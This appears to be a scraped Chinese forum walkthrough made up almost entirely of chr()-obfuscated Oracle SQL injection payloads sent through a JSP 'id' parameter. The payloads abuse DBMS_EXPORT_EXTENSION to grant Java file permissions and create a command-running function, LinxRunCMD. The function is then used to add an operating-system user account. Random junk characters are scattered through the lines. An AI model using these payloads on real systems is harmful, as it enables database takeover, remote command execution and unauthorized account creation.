) g% w" w% d/ \chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||9 }: e9 l! B, a. T1 Y
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
# Z$ d4 U9 r8 r4 tchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
/ l; b9 s0 O; V6 L,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
( c4 M/ L3 y- V( J# C# ~; E- X* W9 o! r0 d6 {# _
)
- q1 p4 [: n! _8 s
! ?/ d# Y4 O" c( }4 |$ z1 b------------------------------
7 _( ]6 F& J  x* `5 S0 N
2 G% |0 M& T& Q3 O2.赋Java权限- {3 Q1 V5 h  c2 Q0 b. D! y
/xxx.jsp?id=1 and chr(49)<>chr(50)||(  U% H& a( o# j5 A' n5 H. z; m) M

* J& f0 G4 r# t. ?0 M- p/ ]6 Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),2 ?0 ~" f2 j" B, J
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||4 r5 v) ^; j" r6 r# f6 V2 a
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||' i- ^$ ^/ C; X
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 |1 H2 Y; h8 n: N! ^# jchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
# O* _: V/ }8 w7 D5 n4 ~chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||& _  C5 A; _  G( B* L6 J: w3 D0 T
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||! L1 {0 d5 }' x* ^: H* Z# t
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
: c& t/ C: s' r; W, D! r; L) gchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||4 ]5 p: E' `! I8 {, u  ~
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
4 c2 v; C: ~% G,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 r% l9 `7 u6 j2 I9 u5 u- K+ \( p$ h* @6 x+ T7 ]" D( ]; b
)% ?$ ?6 g( o- V8 H, `2 I

! a. i% t. f0 s7 E  T3 ?) p1 Zreadfile函数的ascii版就不写了,见谅。2 n0 }; q0 \# W2 ?5 ^
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3.创建函数4 o$ i2 G/ ]$ S: G0 Y
! i3 h' U; L0 ~/ E2 u! c/ @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
# w6 x9 J* z+ h  @3 f. x6 Zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
! e  I! h' I8 |/ q8 O* o$ `chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
9 A4 T: a4 T% O" ^# V, B, z2 uchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||  |% G( q# Y" \+ n  K
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
  k* h) M4 f5 u6 O3 ?/ C' K6 ~$ }chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
+ y8 `  ^, ~! z' lchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||5 e' e. ~" v) D% \% J; s* _
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
5 H- Q' I) Z! Lchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
8 G$ w$ j' c; V. Uchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
. ^/ v  @4 V/ [, i  E9 K( echr(59)||chr(45)||chr(45)
1 O5 _, B1 Z& O" [6 D,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
3 G# K# b0 U" H  v% F2 `! k; k" ]& L6 L3 q
8 E" q( o9 N% B, K4 M4 T1 V* E/ F; `
/ {( A3 J% p! n* i
4.赋public执行函数的权限: ~8 v) o3 h- V) q: A4 N
$ `1 a5 P$ h) f8 Q" j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),2 H+ N% l& Z' h0 a0 a! J' t4 P
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
9 x& `# T3 L4 u) O, Kchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
. S( R% _1 e/ Y: W0 lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
* l# P$ B, f9 p, v: ^chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
% g4 v1 H" i5 a3 V3 |1 ]chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
; X. T1 j( c) D% l( mchr(59)||chr(45)||chr(45)9 N6 n8 E* x) o' W, X3 c/ |
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
- z2 o. W" i$ ], s
8 i% N$ j- c8 F' M- h0 O6 p+ K
9 Z. d/ I  z  M! b# t; F9 y# n5 q* w9 D% B! p+ e
5.执行命令:
) a% n# T/ I/ }& M4 f+ J
8 O# ^- @5 a  w$ W4 o. w, P' C, ~2 W# Z/xxx.jsp?id=1 and chr(49)<>chr(32)||(% ^# _5 Z$ Z3 o/ K# C! S
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
* L9 k0 c) z" s)
3 d% j: P) n* d
4 L! O$ G3 T4 N$ ^& ^4 o1 G
: [$ V6 m; i; W4 ?2 l/ `8 z/xxx.jsp?id=1 and chr(49)<>chr(32)||(# l& F* t6 ^2 T8 y4 A* ?
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
# n3 ^1 O  W, i5 a)
! @! n( ^! L2 ?% [% B, B




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